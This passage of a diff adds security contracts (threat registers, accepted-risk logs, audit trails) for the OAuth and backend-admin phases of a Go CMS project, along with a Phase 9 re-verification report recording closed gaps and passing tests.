| T-06-SC | Tampering | package supply chain | low | accept | swag/openapi-typescript passed 06-RESEARCH package audit; 06-06 to 06-14 add no dependencies | closed |
|
||||
|
||||
*Status: open · closed · open — below high threshold (non-blocking)*
|
||||
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
|
||||
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
|
||||
|
||||
Severities were not recorded in the plans; they are assigned in this audit. No threat is open, so the assignment does not affect the gate.
|
||||
|
||||
---
|
||||
|
||||
## Accepted Risks Log
|
||||
|
||||
| Risk ID | Threat Ref | Rationale | Accepted By | Date |
|
||||
|---------|------------|-----------|-------------|------|
|
||||
| AR-06-01 | T-06-03 | Already hidden via json:"-" and Hidden() (Phase 5, verified by 05-06's hidden-marshal test); this plan adds no new serialization path for the hash | Plan 06-01 | 2026-09-19 |
|
||||
| AR-06-02 | T-06-05 | Indexed equality lookup (not a byte-for-byte secret compare) is not a timing side-channel per RESEARCH.md's V6 Cryptography note; crypto/subtle is reserved for a future raw-compare path (e.g. OAuth client secrets, Phase 8), not needed here | Plan 06-01 | 2026-09-19 |
|
||||
| AR-06-03 | T-06-08 | v1 ships an unbounded-until-swept map per CONTEXT D-03's explicit "no otter/cooler this phase" decision; the sweep goroutine bounds long-term growth to roughly one decay window's worth of distinct keys, acceptable for a single-instance v1 deployment | Plan 06-02 | 2026-09-19 |
|
||||
| AR-06-04 | T-06-SC | Both packages are STACK.md-named and pass 06-RESEARCH.md's Package Legitimacy Audit (Approved disposition, no [ASSUMED]/[SUS] verdicts); later gap plans add no dependencies | Plan 06-03 | 2026-09-19 |
|
||||
|
||||
*Accepted risks do not resurface in future audit runs.*
|
||||
|
||||
---
|
||||
|
||||
## Security Audit Trail
|
||||
|
||||
| Audit Date | Threats Total | Closed | Open | Run By |
|
||||
|------------|---------------|--------|------|--------|
|
||||
| 2026-09-19 | 19 | 19 | 0 | gsd-executor (06-05) |
|
||||
| 2026-09-20 | 21 | 21 | 0 | gsd-executor (06-06) |
|
||||
| 2026-09-21 | 26 | 26 | 0 | gsd-executor (06-11), superseded |
|
||||
| 2026-09-21 | 34 | 34 | 0 | gsd-executor (06-14) |
|
||||
| 2026-10-12 | 38 | 38 | 0 | msd-secure-phase (L1, auditor skipped by short-circuit) |
|
||||
|
||||
### Security Audit 2026-10-12
|
||||
|
||||
| Metric | Count |
|
||||
|--------|-------|
|
||||
| Threats found | 38 |
|
||||
| Closed | 38 |
|
||||
| Open | 0 |
|
||||
|
||||
- Register built from all 14 PLAN `<threat_model>` blocks. It adds T-06-19, T-06-20, T-06-36 and T-06-37 (process threats from 06-05 and 06-14), which `06-SECURITY-REVIEW.md` did not list.
|
||||
- SUMMARY threat flags: only 06-10 has one ("None").
|
||||
- All 53 cited test functions were found by grep at their current paths (framework packages now live under `modules/`).
|
||||
- `go test -short -count=1` passed for `modules/bouncer`, `modules/surf` and `modules/fetchguard` in summercms.go, and for `./plugins/golem15/fonoteka/...`, `./parity` and the root package in fonoteka.go.
|
||||
|
||||
---
|
||||
|
||||
## Sign-Off
|
||||
|
||||
- [x] All threats have a disposition (mitigate / accept / transfer)
|
||||
- [x] Accepted risks documented in Accepted Risks Log
|
||||
- [x] `threats_open: 0` confirmed
|
||||
- [x] `status: verified` set in frontmatter
|
||||
|
||||
**Approval:** verified 2026-10-12
|
||||
@@ -0,0 +1,96 @@
|
||||
---
|
||||
phase: "08"
|
||||
slug: "oauth2-1-authorization-server"
|
||||
status: verified
|
||||
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
|
||||
threats_open: 0
|
||||
threats_total: 11
|
||||
threats_closed: 11
|
||||
accepted_risks: 0
|
||||
asvs_level: 1
|
||||
block_on: high
|
||||
register_authored_at_plan_time: true
|
||||
created: "2026-10-12"
|
||||
---
|
||||
|
||||
# Phase 08 — Security
|
||||
|
||||
> Per-phase security contract: threat register, accepted risks, and audit trail.
|
||||
|
||||
Detailed per-threat findings and named test evidence live in `08-SECURITY-REVIEW.md` (2026-09-24, performed by the 08-10 executor, not an independent auditor; see its Reviewer Note). This file is the gate contract derived from all ten `<threat_model>` blocks. The plans carry no severity column; severities below are assigned at this audit. Framework paths are relative to `summercms.go/modules/`; app paths are relative to `fonoteka.go/plugins/golem15/fonoteka/`.
|
||||
|
||||
---
|
||||
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description | Data Crossing |
|
||||
|----------|-------------|---------------|
|
||||
| connector → raw `/.well-known` and `/oauth/mcp/*` routes | untrusted discovery, authorize, register and token traffic on raw (unguarded) routes | client metadata, redirect URIs, PKCE challenge/verifier, client secret (high) |
|
||||
| validated redirect → `Location` | client-controlled redirect trusted only after exact allow-list match | code, state, error (high) |
|
||||
| wristband records → GORM | app-agnostic code/refresh/client state persisted with row locks | code hash, refresh hash, lineage (high) |
|
||||
| browser JWT principal → consent / connected-app API | authenticated user ids cross ownership, scope and collection boundaries | request handle, scopes, token ids (high) |
|
||||
| refresh credential → token endpoint | long-lived bearer-like credential requests a new grant branch | refresh token (high) |
|
||||
| transaction outcome → OAuth error | lineage revocation must commit although the response is `invalid_grant` | revocation state |
|
||||
| operator CLI → client store | trusted input creates a recoverable-once confidential client | client secret (high) |
|
||||
| bearer header → personal-token `/me` | untrusted bearer crosses existing token and scope guards | user profile fields (medium) |
|
||||
| PHP capture → committed fixtures; gate → child processes | live credentials must become placeholders before git; secrets cross shell/Node/Go | credentials (high) |
|
||||
|
||||
---
|
||||
|
||||
## Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|
||||
|-----------|----------|-----------|----------|-------------|------------|--------|
|
||||
| T-08-PKCE | Spoofing/Elevation | authorize / token exchange | high | mitigate | `wristband/authorize.go:77` requires `code_challenge_method=S256`, rejects missing challenge (`:84`); verifier compared through `wristband/crypto.go:34` `subtle.ConstantTimeCompare` | closed |
|
||||
| T-08-CODE-REPLAY | Spoofing | auth-code store / exchange | high | mitigate | `classes/auth/oauth_store.go:130` `ByCodeHashForUpdate` (`clause.Locking UPDATE`) inside the single transaction at `:45`; concurrent one-winner tests per 08-SECURITY-REVIEW | closed |
|
||||
| T-08-REFRESH-REPLAY | Spoofing/Elevation | refresh state machine | high | mitigate | `oauth_store.go:199` `ByTokenHashForUpdate`, `:243` `RevokeLineage` (locked walk); lineage kill committed before `invalid_grant`; manual-token-delete cascade fixed in 08-10 (`controllers/api/token_api_controller.go` `Destroy`) | closed |
|
||||
| T-08-OPEN-REDIRECT | Spoofing/Disclosure | authorize | high | mitigate | `wristband/authorize.go:62` exact `stringSliceContains(client.RedirectURIs, …)` check precedes every `authorizeErrorRedirect` | closed |
|
||||
| T-08-SCOPE-CEILING | Elevation | authorize / consent / refresh / CLI | high | mitigate | requested ∩ `ScopeCeiling` (`wristband/stores.go:29`) before persistence; consent four-way intersection app-owned (`wristband/consent.go:8`, D-08); refresh copies stored scopes only | closed |
|
||||
| T-08-CROSS-USER | Elevation | consent / connected apps | high | mitigate | `controllers/api/connected_app_controller.go:28,75` scope reads/deletes to `user_id = ?`; missing/foreign/manual ids return identical 404 `Token not found` (`:70,:78`) | closed |
|
||||
| T-08-SURFACE | Elevation | route groups / MCP boundary | high | mitigate | raw OAuth routes vs JWT management routes proven by `routes_isolation_test.go:TestFullRouteTableAuthGroupMutualExclusivity`, `TestOAuthTokenSurfaceIsolationCoverage`, `TestOAuthMetadataRouteIsolation` | closed |
|
||||
| T-08-REQUEST-LEAK | Information Disclosure | metadata / logs / fixtures / output | high | mitigate | opaque pending-request handle (`wristband/authorize.go:29`); positive allow-list serializers (`TestOAuthConsentShowExactKeySet`); no `fmt.Print*`/`log.*`/`slog.*` on secrets; `check-phase8.sh` `redact_phase8` + `stage_secret_scan` | closed |
|
||||
| T-08-SECRET-TIMING | Information Disclosure | client auth / issued client | medium | mitigate | single hash/compare path through `wristband/crypto.go:34` `subtle.ConstantTimeCompare`; secret shown once by the client command | closed |
|
||||
| T-08-DCR-FLOOD | Denial of Service | register / client store | medium | mitigate | `wristband/register.go:67` `http.MaxBytesReader` at 65536 (`server.go:99`); `DCRClientCap` (`server.go:50`, `ErrClientCapReached`) under transactional cap/sweep/create; `throttle:fonoteka-oauth-register` 30/min per IP | closed |
|
||||
| T-08-SC | Tampering | dependencies | low | mitigate | no `go.mod`/`go.sum` change in any phase 08 commit; stdlib port, no zitadel/oidc (D-01); Playwright/Node reused from existing lockfile | closed |
|
||||
|
||||
*Status: open · closed · open — below high threshold (non-blocking)*
|
||||
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
|
||||
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
|
||||
|
||||
---
|
||||
|
||||
## Accepted Risks Log
|
||||
|
||||
No accepted risks.
|
||||
|
||||
*Accepted risks do not resurface in future audit runs.*
|
||||
|
||||
---
|
||||
|
||||
## Security Audit Trail
|
||||
|
||||
| Audit Date | Threats Total | Closed | Open | Run By |
|
||||
|------------|---------------|--------|------|--------|
|
||||
| 2026-09-24 | 11 | 11 | 0 | 08-10 executor (`08-SECURITY-REVIEW.md`, self-performed) |
|
||||
| 2026-10-12 | 11 | 11 | 0 | /msd-secure-phase orchestrator (L1 grep re-check; `go test -short` green for `modules/wristband`, fonoteka `classes/auth`, `controllers/api`) |
|
||||
|
||||
## Security Audit 2026-10-12
|
||||
|
||||
| Metric | Count |
|
||||
|--------|-------|
|
||||
| Threats found | 11 |
|
||||
| Closed | 11 |
|
||||
| Open | 0 |
|
||||
|
||||
Short-circuited at L1 (threats_open 0, register authored at plan time, ASVS 1); no auditor subagent spawned. Every mitigation above was re-located in current source rather than inherited from the 2026-09-24 review.
|
||||
|
||||
---
|
||||
|
||||
## Sign-Off
|
||||
|
||||
- [x] All threats have a disposition (mitigate / accept / transfer)
|
||||
- [x] Accepted risks documented in Accepted Risks Log
|
||||
- [x] `threats_open: 0` confirmed
|
||||
- [x] `status: verified` set in frontmatter
|
||||
|
||||
**Approval:** verified 2026-10-12
|
||||
@@ -0,0 +1,105 @@
|
||||
---
|
||||
phase: "09"
|
||||
slug: "backend-admin-authentication-and-schema-pipeline"
|
||||
status: verified
|
||||
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
|
||||
threats_open: 0
|
||||
threats_total: 22
|
||||
threats_closed: 22
|
||||
accepted_risks: 0
|
||||
asvs_level: 1
|
||||
block_on: high
|
||||
register_authored_at_plan_time: true
|
||||
created: "2026-10-12"
|
||||
---
|
||||
|
||||
# Phase 09 — Security
|
||||
|
||||
> Per-phase security contract: threat register, accepted risks, and audit trail.
|
||||
|
||||
This file is the gate contract derived from the twelve `<threat_model>` blocks. `09-SECURITY-REVIEW.md` (2026-09-27, written by the 09-12 executor) has the per-threat findings and named test evidence. No SUMMARY carries a `## Threat Flags` section. T-09-SC appears in every plan and is counted once. Framework paths are relative to `summercms.go/modules/`. App paths are relative to `fonoteka.go/plugins/golem15/fonoteka/`.
|
||||
|
||||
---
|
||||
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description | Data Crossing |
|
||||
|----------|-------------|---------------|
|
||||
| Client → raw admin API | Untrusted credentials, path segments, query input and JSON bodies enter the backend-only route family | credentials, identifiers, field values |
|
||||
| JWT → backend principal provider | Signed claims select a backend identity and must not cross the frontend/backend boundary | bearer tokens (high) |
|
||||
| Operator CLI → backend tables | Password and role inputs create or change privileged identities | passwords, role codes (high) |
|
||||
| Auth outcomes → logs | Security telemetry must keep the evidence without copying secrets | admin id, outcome |
|
||||
| Plugin embedded FS → schema compiler | Plugin-owned YAML becomes a server-side query, write and serialization contract | configuration |
|
||||
| Request locale → schema serializer | Per-request language must not mutate shared cached state | display text |
|
||||
| Schema/request → query planner → PostgreSQL | Compiled identifiers and untrusted bound values reach SQL | identifiers, filter values |
|
||||
| JSON body / route id → model lifecycle | Untrusted fields and ids drive Fill, hooks, bulk and pivot writes | record data |
|
||||
| Controller scope → global tables | Controller scope must constrain globally existing users, records and relation candidates | user emails, ids |
|
||||
| Backend principal → metadata | Authorization decides which controllers and settings are disclosed | navigation, settings |
|
||||
| Migrations / OpenAPI → consumers | Database and spec artifacts must match runtime behavior | schema, contract |
|
||||
|
||||
---
|
||||
|
||||
## Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|
||||
|-----------|----------|-----------|----------|-------------|------------|--------|
|
||||
| T-09-01 | Spoofing / Elevation | bouncer audience + backend guard | high | mitigate | Separate secrets, required `user`/`backend` audience; `bouncer/backend_guard_test.go` `TestPhase09GuardIsolation` (re-run 2026-10-12: pass) | closed |
|
||||
| T-09-02 | Elevation | cabana protected-route wrapper | high | mitigate | `service.protect` checks guard, controller and permission before schema/query work; `cabana/security_coverage_test.go` `TestPhase09PermissionMatrix` (re-run: pass; covers the later reorder and singleton routes too) | closed |
|
||||
| T-09-03 | Information Disclosure | auth handlers + logging | high | mitigate | Opaque login errors, log-capture redaction; `TestPhase09SecurityCoverage` (re-run: pass) | closed |
|
||||
| T-09-04 | Elevation | admin:create / reset-password | medium | mitigate | Exact role codes, hash in transaction, token invalidation on reset; `cabana/commands_test.go` `TestAdminCreate*`, `TestAdminResetPasswordCommand` (re-run: pass) | closed |
|
||||
| T-09-05 | Tampering | strict form-schema compiler | high | mitigate | Unknown key/type/provider/partial rejection, embedded-FS paths; `cabana/form_schema_test.go` `TestFormSchemaCompile*`, `TestFormSchemaRejects*` (re-run: pass) | closed |
|
||||
| T-09-06 | Information Disclosure / Tampering | localized schema cache | medium | mitigate | Untranslated IR cached, locale per request; app `admin_phase09_e2e_test.go` `TestPhase09AssembledAcceptance` (re-run: pass) | closed |
|
||||
| T-09-07 | Tampering / Elevation | `cabana/query.go` identifiers and scopes | high | mitigate | Compiled finite allowlists, bound values, injection fixtures; `TestPhase09SecurityCoverage` (re-run: pass) | closed |
|
||||
| T-09-08 | Denial of Service | list pagination/search | medium | mitigate | perPage limited to compiled options, range validation; `TestPhase09AssembledAcceptance` (re-run: pass) | closed |
|
||||
| T-09-09 | Tampering / Elevation | `cabana.ProjectWritableFields` | high | mitigate | Writable projection drops protected, unknown, case-variant and nested keys; `TestPhase09SecurityCoverage` (re-run: pass) | closed |
|
||||
| T-09-10 | Tampering | CRUD/bulk lifecycle | high | mitigate | One transactional Fill/Validate/hooks service, locked bulk rows; `TestPhase09SecurityCoverage` (re-run: pass) | closed |
|
||||
| T-09-11 | Elevation / Tampering | Albums collection-scoped lookup | high | mitigate | Server-side collection scope; app `admin_albums_test.go` `TestAlbumsAdminCollectionMatch`, `TestAlbumsAdminCrossCollection` (re-run: pass) | closed |
|
||||
| T-09-12 | Tampering | normalized email association | high | mitigate | Exactly one active match or 422, no candidate disclosure; `TestAlbumsAdminAmbiguousEmail` (re-run: pass) | closed |
|
||||
| T-09-13 | Elevation | Artists operation permission map | high | mitigate | Explicit permission per operation, activation fails on omissions; app `admin_phase09_security_test.go` `TestPhase09SecurityMatrix` (re-run: pass) | closed |
|
||||
| T-09-14 | Spoofing / Elevation | controller registry duplicates | high | mitigate | Duplicate ids/routes/models fail activation; `party/registry_test.go` `TestActivateDuplicateIDRejected`, app `TestStylesAdminDuplicateRegistration` (re-run: pass) | closed |
|
||||
| T-09-15 | Tampering | Style option/filter provider values | medium | mitigate | YAML scalar kinds preserved, provider output validated at activation; `TestStylesAdminTypedOptions` (re-run: pass) | closed |
|
||||
| T-09-16 | Tampering / Elevation | relation pivot write | high | mitigate | Pivot columns/payload from the model contract, unknown pivot fields rejected; `TestPhase09SecurityCoverage`, `TestCollectionsAdminForgedPivot` (re-run: pass) | closed |
|
||||
| T-09-17 | Elevation / Information Disclosure | owner/target/candidate scope | high | mitigate | Relation permission before SQL, scoped owner/target queries; `TestCollectionsAdminRelationPermissions`, `TestCollectionsAdminCrossScope` (re-run: pass) | closed |
|
||||
| T-09-18 | Tampering / Elevation | settings PUT | high | mitigate | Permission first, fillable-only projection, singleton row lock; app `admin_settings_test.go` `TestAdminSettings*` (re-run: pass) | closed |
|
||||
| T-09-19 | Information Disclosure | navigation/settings metadata | medium | mitigate | Entries filtered before serialization; `TestPhase09PermissionMatrix` (re-run: pass) | closed |
|
||||
| T-09-20 | Repudiation / Elevation | Phase 9 security regression evidence | high | mitigate | Route-derived permission matrix, zero-test/skip detection in `scripts/check-phase9.sh`. See Audit Note: the app-side exact-route test is red on the current tree | closed |
|
||||
| T-09-21 | Tampering | migration + OpenAPI drift | high | mitigate | Fresh/rollback PostgreSQL tests, handler-derived route inventory; `cabana/phase09_contract_test.go` `TestPhase09ContractInventory` (re-run: pass), `scripts/check-phase9.sh --postgres/--openapi` (09-12) | closed |
|
||||
| T-09-SC | Tampering | Go module / generator tooling | high | mitigate | Phase 9 added no package. OpenAPI uses pinned swag v1.16.6 and openapi-typescript 7.13.0 (`scripts/check-phase9.sh --openapi`). Later go.mod changes belong to other phases | closed |
|
||||
|
||||
*Status: open · closed · open — below high threshold (non-blocking)*
|
||||
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
|
||||
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
|
||||
|
||||
---
|
||||
|
||||
## Accepted Risks Log
|
||||
|
||||
No accepted risks.
|
||||
|
||||
---
|
||||
|
||||
## Audit Note (2026-10-12)
|
||||
|
||||
The current tree fails `TestPhase09SecurityRoutes` in `fonoteka.go` (`admin_phase09_security_test.go`). It reports three admin routes that are missing from its `phase09AdminRoutes` allowlist: `GET /{controller}/reorder`, `POST /{controller}/reorder` and `GET /{controller}/singleton`. Phase 17-01 (`23f33c3`) added these routes but did not update the app's allowlist. All three carry the `backend` middleware and enter through `service.protect` (`cabana/reorder.go`, `cabana/singleton.go`). The framework's `TestPhase09PermissionMatrix` lists them and passes. Phase 9's controls still hold. The failure is a stale route list in the consumer app, so it is recorded here as a follow-up and not as an open threat. Fix: add the three keys to `phase09AdminRoutes` in `fonoteka.go`.
|
||||
|
||||
Browser rendering of these schemas belongs to Phase 10 (see `09-SECURITY-REVIEW.md`, Residual risk).
|
||||
|
||||
---
|
||||
|
||||
## Security Audit Trail
|
||||
|
||||
| Audit Date | Threats Total | Closed | Open | Run By |
|
||||
|------------|---------------|--------|------|--------|
|
||||
| 2026-09-27 | 22 | 22 | 0 | 09-12 executor (`09-SECURITY-REVIEW.md`) |
|
||||
| 2026-10-12 | 22 | 22 | 0 | /msd-secure-phase (ASVS L1: test existence plus re-run of the named tests; short-circuit, no auditor) |
|
||||
|
||||
---
|
||||
|
||||
## Sign-Off
|
||||
|
||||
- [x] All threats have a disposition (mitigate / accept / transfer)
|
||||
- [x] Accepted risks documented in Accepted Risks Log
|
||||
- [x] `threats_open: 0` confirmed
|
||||
- [x] `status: verified` set in frontmatter
|
||||
|
||||
**Approval:** verified 2026-10-12
|
||||
@@ -1,8 +1,8 @@
|
||||
---
|
||||
phase: 09-backend-admin-authentication-and-schema-pipeline
|
||||
verified: 2026-10-05T15:08:52Z
|
||||
verified: 2026-10-11T13:38:34Z
|
||||
status: passed
|
||||
score: 5/5 roadmap success criteria verified (plan truths 54/54 verified, including 3 backstop truths with direct test evidence)
|
||||
score: 5/5 roadmap success criteria verified; plan truths 54/54
|
||||
covered_files:
|
||||
- ".planning/phases/09-backend-admin-authentication-and-schema-pipeline/09-01-PLAN.md"
|
||||
- ".planning/phases/09-backend-admin-authentication-and-schema-pipeline/09-01-SUMMARY.md"
|
||||
@@ -42,6 +42,7 @@ covered_files:
|
||||
- "modules/bouncer/registry.go"
|
||||
- "modules/bouncer/registry_test.go"
|
||||
- "modules/cabana/admin_openapi.go"
|
||||
- "modules/cabana/api_tokens.go"
|
||||
- "modules/cabana/auth.go"
|
||||
- "modules/cabana/auth_internal_test.go"
|
||||
- "modules/cabana/auth_test.go"
|
||||
@@ -53,6 +54,7 @@ covered_files:
|
||||
- "modules/cabana/crud.go"
|
||||
- "modules/cabana/crud_lifecycle_test.go"
|
||||
- "modules/cabana/crud_test.go"
|
||||
- "modules/cabana/field_type_upload.go"
|
||||
- "modules/cabana/filter_schema.go"
|
||||
- "modules/cabana/form_schema.go"
|
||||
- "modules/cabana/form_schema_test.go"
|
||||
@@ -79,6 +81,9 @@ covered_files:
|
||||
- "modules/cabana/settings.go"
|
||||
- "modules/cabana/testdata/list/all_columns.yaml"
|
||||
- "modules/cabana/testdata/list/all_filters.yaml"
|
||||
- "modules/cabana/token_guard.go"
|
||||
- "modules/cabana/token_guard_test.go"
|
||||
- "modules/cabana/token_scopes.go"
|
||||
- "modules/cabana/tx_context.go"
|
||||
- "modules/lagoon/backend_admin_migrations.go"
|
||||
- "modules/lagoon/backend_admin_migrations_test.go"
|
||||
@@ -89,46 +94,75 @@ covered_files:
|
||||
- "modules/phrasebook/translator.go"
|
||||
- "modules/surf/router.go"
|
||||
- "scripts/check-phase9.sh"
|
||||
covered_digest: "v2:sha256:c2f48f6ce04a5eed4788d745da45b1c1555a769df4feebfe88b9bbf671b634fb"
|
||||
covered_files_note: "Fingerprint refreshed 2026-10-05 after later phases (12.1, 12.2, 13, 14) added to the same modules/cabana, lagoon, pact and surf files Phase 9 already covered. Paths remain modules/ (Phase 10.2). scripts/check-phase9.sh --all passed at summercms.go HEAD 104a1c9 and fonoteka.go HEAD 93b8b75. fonoteka.go files stay outside the digest and are listed under Required Artifacts."
|
||||
covered_digest: "v2:sha256:e044b747d6e6be8c322be33286dc912e1d99b9fad727b0227877682f75a28ba1"
|
||||
covered_files_note: "Regenerated 2026-10-11 at summercms.go HEAD be82bcc (code at b45af8e) and fonoteka.go HEAD e074028. Added modules/cabana/api_tokens.go (stampThrottle, on the composite guard's token path) and token_guard_test.go (TestTokenLastUsedThrottlePerGuard). fonoteka.go files stay outside the digest (separate repo) and are listed under Required Artifacts."
|
||||
behavior_unverified: 0
|
||||
overrides_applied: 0
|
||||
mvp_mode_note: "ROADMAP marks Phase 9 mode: mvp, but the ROADMAP goal is not a User Story. Every Phase 9 PLAN carries a valid User Story, used for User Flow Coverage. As in the Phase 1/3/5/8/10 reports, the five ROADMAP success criteria are the contract."
|
||||
mvp_mode_note: "ROADMAP marks Phase 9 mode: mvp, but the ROADMAP goal is not a User Story. Every Phase 9 PLAN carries a valid User Story, used for User Flow Coverage. The five ROADMAP success criteria are the contract."
|
||||
re_verification:
|
||||
previous_status: stale
|
||||
previous_score: 5/5
|
||||
reason: "The 2026-10-01T21:17Z passed report went stale because Phases 12.1, 12.2, 13 and 14 edited 25 already-covered implementation files (+3294/-217) after HEAD ba1aaef. This is content-digest drift, not missing modules/ paths (those were fixed in 1a878b3). scripts/check-phase9.sh --all passed at HEAD 104a1c9; covered_digest recomputed to match current bytes."
|
||||
gaps_closed: []
|
||||
previous_status: gaps_found
|
||||
previous_score: "5/5 roadmap success criteria; plan truths 53/54"
|
||||
previous_verified: 2026-10-11T13:00:45Z
|
||||
closed_by: "quick 261011-kzi: fonoteka.go e074028 (test-only inventory update), summercms.go b45af8e (per-guard stampThrottle)"
|
||||
gaps_closed:
|
||||
- "09-12: Phase 9 fail-closed acceptance gate green. fonoteka phase09AdminRoutes now lists the 10 post-phase routes as protected; TestPhase09SecurityRoutes and TestPhase09SecurityMatrix PASS; scripts/check-phase9.sh --security and --all exit 0 (re-run by the verifier)."
|
||||
advisory_closed:
|
||||
- "TestBackendTokenPostgres order dependence: the process-global lastStamp map is gone (grep: no hits in modules/cabana). The 11-test run from the previous report plus TestTokenLastUsedDebounce and TestTokenLastUsedThrottlePerGuard gives 13/13 PASS on PostgreSQL, and the full Docker-backed go test -count=1 ./modules/cabana is ok (84.8s)."
|
||||
gaps_remaining: []
|
||||
regressions: []
|
||||
human_items_resolved:
|
||||
- "Code-review triage: 09-REVIEW-DISPOSITION.md records CR-01 and WR-01..WR-19 as fixed (12 Info findings stay open, out of scope). Each fix is in the code at HEAD with a passing named test."
|
||||
- "WR-11 decision (user, 2026-10-01): index added. Migration 202610010001_backend_users_email_ci_unique creates backend_users_email_lower_unique on lower(email), refuses to run on case-duplicate emails and names the logins; rollback drops the index. TestBackendAdminEmailCaseInsensitiveUnique and TestBackendAdminEmailIndexRefusesCaseDuplicates PASS."
|
||||
- "WR-03 decision (user, 2026-10-01): single-record delete kept as Winter (allowed whenever a form exists). Code matches: operationDeclared 'delete' requires a form only; TestCRUDOperationsFollowDeclarations PASS."
|
||||
- "WR-17 decision (user, 2026-10-01): exact-code deny does not remove a wildcard grant, as Winter's getMergedPermissions. Code matches applyUserPermissions; TestBackendUserPermissionsOverrideRole PASS."
|
||||
- "Judgment-tier prohibitions (user, 2026-10-01): all 24 verdicts accepted; 09-03 #1 confirmed as superseded by Phase 10.1 D-09. 09-11 #1 (WR-02) and 09-12 #1 (WR-18) are not violated on code and test evidence."
|
||||
- "09-UAT.md: status complete, 3/3 pass (ba1aaef)."
|
||||
human_verified:
|
||||
- test: "Decide CR-01 (admin CRUD cannot save a writable number field; type mismatches return 500 instead of 422)"
|
||||
uat_row: 1
|
||||
recorded_at: "2026-10-01T21:13:02.000Z"
|
||||
- test: "Triage the 19 open code-review warnings (priority: WR-01, WR-02, WR-14, WR-17 for AUTH-08 Winter permission semantics)"
|
||||
uat_row: 2
|
||||
recorded_at: "2026-10-01T21:13:02.000Z"
|
||||
- test: "Review the 24 judgment-tier prohibitions in 09-VERIFICATION.md"
|
||||
uat_row: 3
|
||||
recorded_at: "2026-10-01T21:13:02.000Z"
|
||||
---
|
||||
|
||||
# Phase 9: Backend admin authentication and schema pipeline. Verification Report
|
||||
|
||||
**Phase Goal:** Backend admin users with roles are separate from frontend users and gate navigation and controller access; `fields.yaml`/`columns.yaml` drive a JSON form/list schema, including a first-class relation-manager schema replacing the one `partial` field.
|
||||
**Verified:** 2026-10-05T15:08:52Z (summercms.go HEAD 104a1c9, fonoteka.go HEAD 93b8b75)
|
||||
**Verified:** 2026-10-11T13:38:34Z (summercms.go HEAD be82bcc, code at b45af8e; fonoteka.go HEAD e074028)
|
||||
**Status:** passed
|
||||
**Re-verification:** Yes. The 2026-10-01T21:17Z passed report went stale because later phases edited 25 already-covered implementation files. `scripts/check-phase9.sh --all` passed at HEAD 104a1c9; `covered_digest` was recomputed to match current bytes. Human items remain the 2026-10-01 decisions (09-UAT.md complete 3/3).
|
||||
**Re-verification:** Yes, after gap closure. The 13:00Z run today found `gaps_found` (stale fonoteka route inventory). Quick task 261011-kzi closed it. This run re-checked the gap and the code changes from that task, and ran regression checks on everything else.
|
||||
|
||||
**MVP note:** ROADMAP marks this phase `mode: mvp`, but its goal is not a User Story. The PLAN files carry a valid one, which is used below. The five ROADMAP success criteria are the contract, and the plan `must_haves` are supporting evidence.
|
||||
|
||||
**Changes since the previous report that bear on Phase 9 (verified in code, not taken from 09-REVIEW-FIX.md):**
|
||||
## Summary of this re-verification
|
||||
|
||||
- **Permissions (WR-01, WR-17):** `cabana.Allows` (`contracts.go:130`) now passes when ANY required code is granted, and `granted` (line 147) matches wildcard requirements (`x.*`, `*x`) as Winter's `hasPermission` does. `BackendUsers.FindByID` overlays the user's own `backend_users.permissions` on the role grants (`applyUserPermissions`, `auth.go:77`): `1` grants, `-1`/`0` remove an exact code.
|
||||
- **Navigation (WR-02):** `Metadata` (`navigation.go:36`) drops a main item the principal may not open, whatever its children allow, and `openableTarget` (line 95) repoints an allowed parent to its first openable child. With Fonoteka's parent requirement `golem15.fonoteka.*`, a genres-only admin should now see the parent linked to `golem15.fonoteka.genres`, not albums (by code reading; the framework test pins this shape, no Fonoteka test asserts it).
|
||||
- **Writes (WR-03, WR-04, WR-05):** `operationDeclared` (`http.go:806`) refuses create/update/delete/bulk-delete the compiled YAML does not declare (403). Form `required` applies only in contexts that can supply it. `relationMutation` (line 469) refuses link/unlink missing from `view.toolbarButtons`.
|
||||
- **Auth (WR-10 to WR-14):** foreign `backend` guard fails boot (`bouncer.Registry.Owner`); ambiguous login identifiers answer the same opaque 401 (`findBackendLogin`, `auth.go:431`); dummy hash uses the configured bcrypt cost; `admin:*` read passwords from a prompt or stdin; logout runs outside the guard and revokes an expired-but-refreshable token via `bouncer.VerifyRefreshableClaimsAudience` (`refresh.go:60`).
|
||||
- **Schema/query (WR-06 to WR-09, WR-16):** relation default sort is the first sortable column; relation column order comes from an ordered decode, not indentation; list search uses `LOWER(CAST(col AS TEXT))` (`query.go:296`); the scaffold declares a required permission and a record source; reflection helpers see embedded structs and explicit `column:` tags (`model_fields.go`).
|
||||
- **Gate and transactions (WR-18, WR-19):** `check-phase9.sh` judges zero tests per package; hooks and scopes read the write transaction through `cabana.TxFromContext` (`tx_context.go:27`), used by Fonoteka's album and collection hooks.
|
||||
- **Fonoteka (WR-15):** an admin editor link leaves `granted_by` NULL.
|
||||
- **WR-11 index (2da8112, user decision):** migration `202610010001_backend_users_email_ci_unique` (`modules/lagoon/backend_admin_migrations.go`) checks for emails that differ only in case, fails naming the clashing logins, otherwise creates `backend_users_email_lower_unique ON backend_users (lower(email))`; rollback drops it. Registered through `BackendAdminMigrations` (`migrations.go:74`, plugin id `summercms.cabana`).
|
||||
The single blocker is closed, and I checked that by running the evidence, not by reading the quick-task SUMMARY:
|
||||
|
||||
- `go test ./plugins/golem15/fonoteka -run '^TestPhase09Security' -count=1` (fonoteka.go): `TestPhase09SecurityRoutes` PASS, `TestPhase09SecurityMatrix` PASS.
|
||||
- `scripts/check-phase9.sh --security`: "phase9 security passed", exit 0.
|
||||
- `scripts/check-phase9.sh --all`: self-test, security, postgres, openapi and evidence all pass, exit 0 (log below).
|
||||
- Assembled Phase 9 suites in fonoteka.go: 79 PASS, 0 FAIL, 0 SKIP (previous run: 78 PASS, 1 FAIL).
